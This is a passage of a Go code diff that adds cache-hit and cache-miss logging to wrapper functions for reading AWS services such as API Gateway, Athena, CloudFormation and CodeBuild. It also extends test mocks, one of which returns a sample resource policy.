return false
|
||||
}
|
||||
|
||||
// CachedApiGatewayGetRestAPIs function that accepts a client, account id, region. Make sure it handles caching, the region option and pagination
|
||||
func CachedApiGatewayGetRestAPIs(client APIGatewayClientInterface, accountID string, region string) ([]apiGatewayTypes.RestApi, error) {
|
||||
var PaginationControl *string
|
||||
var restAPIs []apiGatewayTypes.RestApi
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetRestApis-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetRestApis",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.RestApi), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetRestApis",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetRestApis, err := client.GetRestApis(
|
||||
@@ -95,10 +118,24 @@ func CachedApiGatewayGetStages(client APIGatewayClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetStages-%s-%s", accountID, region, restAPIID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetStages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
// Convert cached data back to GetStagesOutput before returning
|
||||
cachedOutput := cached.(*CachedGetStagesOutput) // Ensure this type assertion matches your caching logic
|
||||
return fromCachedGetStagesOutput(cachedOutput), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetStages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetStages, err := client.GetStages(
|
||||
context.TODO(),
|
||||
@@ -142,8 +179,22 @@ func CachedApiGatewayGetResources(client APIGatewayClientInterface, accountID st
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetResources-%s-%s", accountID, region, restAPIID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetResources",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.Resource), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetResources",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetResources, err := client.GetResources(
|
||||
@@ -180,8 +231,20 @@ func CachedApiGatewayGetDomainNames(client APIGatewayClientInterface, accountID
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetDomainNames-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.DomainName), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetDomainNames, err := client.GetDomainNames(
|
||||
@@ -217,8 +280,22 @@ func CachedApiGatewayGetBasePathMappings(client APIGatewayClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetBasePathMappings-%s-%s", accountID, region, aws.ToString(domain))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetBasePathMappings",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domainName": aws.ToString(domain),
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.BasePathMapping), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetBasePathMappings",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"domainName": aws.ToString(domain),
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetBasePathMappings, err := client.GetBasePathMappings(
|
||||
@@ -254,10 +331,28 @@ func CachedApiGatewayGetMethod(client APIGatewayClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetMethod-%s-%s-%s-%s", accountID, region, restAPIID, resourceID, method)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetMethod",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"resourceId": resourceID,
|
||||
"httpMethod": method,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
// Convert cached data back to GetMethodOutput before returning
|
||||
cachedOutput := cached.(*CachedGetMethodOutput) // Ensure this type assertion matches your caching logic
|
||||
return fromCachedGetMethodOutput(cachedOutput), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetMethod",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"restApiId": restAPIID,
|
||||
"resourceId": resourceID,
|
||||
"httpMethod": method,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetMethod, err := client.GetMethod(
|
||||
context.TODO(),
|
||||
@@ -324,8 +419,20 @@ func CachedApiGatewayGetUsagePlans(client APIGatewayClientInterface, accountID s
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetUsagePlans-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetUsagePlans",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.UsagePlan), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetUsagePlans",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetUsagePlans, err := client.GetUsagePlans(
|
||||
@@ -362,8 +469,22 @@ func CachedApiGatewayGetUsagePlanKeys(client APIGatewayClientInterface, accountI
|
||||
cacheKey := fmt.Sprintf("%s-apigateway-GetUsagePlanKeys-%s-%s", accountID, region, usagePlanID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetUsagePlanKeys",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"usagePlanId": usagePlanID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatewayTypes.UsagePlanKey), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigateway:GetUsagePlanKeys",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"usagePlanId": usagePlanID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
GetUsagePlanKeys, err := client.GetUsagePlanKeys(
|
||||
|
||||
@@ -22,6 +22,7 @@ func (m *MockedAWSAPIGatewayClient) GetRestApis(ctx context.Context, input *apig
|
||||
apiGatewayTypes.EndpointTypePrivate,
|
||||
},
|
||||
},
|
||||
Policy: aws.String("{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":\"execute-api:Invoke\",\"Resource\":\"arn:aws:execute-api:us-west-2:123456789012:abcdefg/*/*/*\"}]}"),
|
||||
},
|
||||
{
|
||||
Id: aws.String("qwerty"),
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
apiGatwayV2Types "github.com/aws/aws-sdk-go-v2/service/apigatewayv2/types"
|
||||
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type APIGatewayv2ClientInterface interface {
|
||||
@@ -38,8 +39,20 @@ func CachedAPIGatewayv2GetAPIs(client APIGatewayv2ClientInterface, accountID str
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetApis-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetApis",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatwayV2Types.Api), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetApis",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
GetApis, err := client.GetApis(
|
||||
context.TODO(),
|
||||
@@ -74,8 +87,20 @@ func CachedAPIGatewayv2GetDomainNames(client APIGatewayv2ClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetDomainNames-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]domainName), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetDomainNames",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
GetDomainNames, err := client.GetDomainNames(
|
||||
context.TODO(),
|
||||
@@ -114,8 +139,20 @@ func CachedAPIGatewayv2GetApiMappings(client APIGatewayv2ClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetApiMappings-%s-%s", accountID, region, domain)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetApiMappings",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatwayV2Types.ApiMapping), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetApiMappings",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
GetApiMappings, err := client.GetApiMappings(
|
||||
context.TODO(),
|
||||
@@ -151,8 +188,20 @@ func CachedAPIGatewayv2GetStages(client APIGatewayv2ClientInterface, accountID s
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetStages-%s-%s", accountID, region, apiID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetStages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatwayV2Types.Stage), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetStages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
GetStages, err := client.GetStages(
|
||||
context.TODO(),
|
||||
@@ -188,8 +237,20 @@ func CachedAPIGatewayv2GetRoutes(client APIGatewayv2ClientInterface, accountID s
|
||||
cacheKey := fmt.Sprintf("%s-apigatewayv2-GetRoutes-%s-%s", accountID, region, apiID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetRoutes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apiGatwayV2Types.Route), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetRoutes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
GetRoutes, err := client.GetRoutes(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/apprunner"
|
||||
apprunnerTypes "github.com/aws/aws-sdk-go-v2/service/apprunner/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AppRunnerClientInterface interface {
|
||||
@@ -26,8 +27,20 @@ func CachedAppRunnerListServices(client AppRunnerClientInterface, accountID stri
|
||||
cacheKey := fmt.Sprintf("%s-apprunner-ListServices-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apprunner:ListServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apprunnerTypes.ServiceSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apprunner:ListServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListServices, err := client.ListServices(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/athena"
|
||||
athenaTypes "github.com/aws/aws-sdk-go-v2/service/athena/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSAthenaClientInterface interface {
|
||||
@@ -26,8 +27,20 @@ func CachedAthenaListDataCatalogs(client AWSAthenaClientInterface, accountID str
|
||||
cacheKey := fmt.Sprintf("%s-athena-ListDataCatalogs-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "athena:ListDataCatalogs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]athenaTypes.DataCatalogSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "athena:ListDataCatalogs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListDataCatalogs, err := client.ListDataCatalogs(
|
||||
context.TODO(),
|
||||
@@ -62,8 +75,22 @@ func CachedAthenaListDatabases(client AWSAthenaClientInterface, accountID string
|
||||
cacheKey := fmt.Sprintf("%s-athena-ListDatabases-%s-%s", accountID, region, catalogName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "athena:ListDatabases",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"catalogName": catalogName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "athena:ListDatabases",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"catalogName": catalogName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListDatabases, err := client.ListDatabases(
|
||||
context.TODO(),
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/cloud9"
|
||||
cloud9Types "github.com/aws/aws-sdk-go-v2/service/cloud9/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSCloud9ClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedCloud9ListEnvironments(client AWSCloud9ClientInterface, accountID str
|
||||
cacheKey := "cloud9-ListEnvironments-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloud9:ListEnvironments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloud9:ListEnvironments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListEnvironments, err := client.ListEnvironments(
|
||||
context.TODO(),
|
||||
@@ -60,8 +73,20 @@ func CachedCloud9DescribeEnvironments(client AWSCloud9ClientInterface, accountID
|
||||
cacheKey := "cloud9-DescribeEnvironments-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloud9:DescribeEnvironments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]cloud9Types.Environment), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloud9:DescribeEnvironments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for _, environmentID := range environmentIDs {
|
||||
DescribeEnvironments, err := client.DescribeEnvironments(
|
||||
context.TODO(),
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/cloudformation"
|
||||
cloudFormationTypes "github.com/aws/aws-sdk-go-v2/service/cloudformation/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type CloudFormationClientInterface interface {
|
||||
@@ -29,8 +30,20 @@ func CachedCloudFormationDescribeStacks(client CloudFormationClientInterface, ac
|
||||
cacheKey := fmt.Sprintf("%s-cloudformation-DescribeStacks-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:DescribeStacks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]cloudFormationTypes.Stack), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:DescribeStacks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeStacks, err := client.DescribeStacks(
|
||||
context.TODO(),
|
||||
@@ -63,8 +76,20 @@ func CachedCloudFormationGetTemplate(client CloudFormationClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-cloudformation-GetTemplate-%s-%s", accountID, region, stackName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:GetTemplate",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:GetTemplate",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetTemplate, err := client.GetTemplate(
|
||||
context.TODO(),
|
||||
@@ -89,8 +114,20 @@ func CachedCloudFormationListStacks(client CloudFormationClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-cloudformation-ListStacks-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:ListStacks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]cloudFormationTypes.StackSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:ListStacks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListStacks, err := client.ListStacks(
|
||||
context.TODO(),
|
||||
|
||||
+11
-1
@@ -8,6 +8,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/cloudfront"
|
||||
cloudfrontTypes "github.com/aws/aws-sdk-go-v2/service/cloudfront/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSCloudFrontClientInterface interface {
|
||||
@@ -25,9 +26,18 @@ func CachedCloudFrontListDistributions(CloudFrontClient AWSCloudFrontClientInter
|
||||
cacheKey := "cloudfront-ListDistributions-" + accountID
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached CloudFront distributions data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudfront:ListDistributions",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]cloudfrontTypes.DistributionSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudfront:ListDistributions",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListDistributions, err := CloudFrontClient.ListDistributions(
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/codeartifact"
|
||||
codeArtifactTypes "github.com/aws/aws-sdk-go-v2/service/codeartifact/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSCodeArtifactClientInterface interface {
|
||||
@@ -27,8 +28,20 @@ func CachedCodeArtifactListDomains(client AWSCodeArtifactClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-codeartifact-ListDomains-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codeartifact:ListDomains",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]codeArtifactTypes.DomainSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codeartifact:ListDomains",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListDomains, err := client.ListDomains(
|
||||
context.TODO(),
|
||||
@@ -63,8 +76,20 @@ func CachedCodeArtifactListRepositories(client AWSCodeArtifactClientInterface, a
|
||||
cacheKey := fmt.Sprintf("%s-codeartifact-ListRepositories-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codeartifact:ListRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]codeArtifactTypes.RepositorySummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codeartifact:ListRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListRepositories, err := client.ListRepositories(
|
||||
context.TODO(),
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/codebuild"
|
||||
codeBuildTypes "github.com/aws/aws-sdk-go-v2/service/codebuild/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type CodeBuildClientInterface interface {
|
||||
@@ -31,8 +32,20 @@ func CachedCodeBuildListProjects(CodeBuildClient CodeBuildClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-codebuild-ListProjects", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:ListProjects",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:ListProjects",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListProjects, err := CodeBuildClient.ListProjects(
|
||||
@@ -71,8 +84,20 @@ func CachedCodeBuildBatchGetProjects(CodeBuildClient CodeBuildClientInterface, a
|
||||
cacheKey := fmt.Sprintf("%s-codebuild-BatchGetProjects-%s-%s", accountID, region, projectID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:BatchGetProjects",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(codeBuildTypes.Project), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:BatchGetProjects",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
BatchGetProjects, err := CodeBuildClient.BatchGetProjects(
|
||||
context.TODO(),
|
||||
@@ -97,8 +122,20 @@ func CachedCodeBuildGetResourcePolicy(CodeBuildClient CodeBuildClientInterface,
|
||||
cacheKey := fmt.Sprintf("%s-codebuild-GetResourcePolicy-%s-%s", accountID, region, projectID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:GetResourcePolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:GetResourcePolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetResourcePolicy, err := CodeBuildClient.GetResourcePolicy(
|
||||
context.TODO(),
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/codebuild"
|
||||
codeBuildTypes "github.com/aws/aws-sdk-go-v2/service/codebuild/types"
|
||||
)
|
||||
|
||||
type MockedCodeBuildClient struct {
|
||||
@@ -19,6 +20,19 @@ func (m *MockedCodeBuildClient) ListProjects(ctx context.Context, input *codebui
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (m *MockedCodeBuildClient) BatchGetProjects(ctx context.Context, input *codebuild.BatchGetProjectsInput, options ...func(*codebuild.Options)) (*codebuild.BatchGetProjectsOutput, error) {
|
||||
return &codebuild.BatchGetProjectsOutput{
|
||||
Projects: []codeBuildTypes.Project{
|
||||
{
|
||||
Name: aws.String("project1"),
|
||||
},
|
||||
{
|
||||
Name: aws.String("project2"),
|
||||
},
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (m *MockedCodeBuildClient) GetResourcePolicy(ctx context.Context, input *codebuild.GetResourcePolicyInput, options ...func(*codebuild.Options)) (*codebuild.GetResourcePolicyOutput, error) {
|
||||
return &codebuild.GetResourcePolicyOutput{
|
||||
Policy: aws.String(`{
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/codecommit"
|
||||
codeCommitTypes "github.com/aws/aws-sdk-go-v2/service/codecommit/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSCodeCommitClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedCodeCommitListRepositories(client AWSCodeCommitClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-codecommit-ListRepositories-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codecommit:ListRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]codeCommitTypes.RepositoryNameIdPair), nil
|
||||
}
|
||||
